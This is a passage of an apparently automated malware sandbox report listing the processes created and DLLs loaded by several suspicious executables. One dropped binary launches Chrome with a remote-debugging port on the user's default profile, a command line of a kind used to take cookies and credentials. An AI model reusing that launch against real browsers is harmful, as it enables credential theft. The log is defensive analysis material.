Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe "C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe"
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=2016,i,4962616623061783139,15835514169929134595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2492,i,16725161677083735427,9451106659774162730,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=280,i,13025056883982514097,7445965038179870877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2044,i,12512903684806153351,6029847284752291960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Section loaded: rstrtmgr.dll
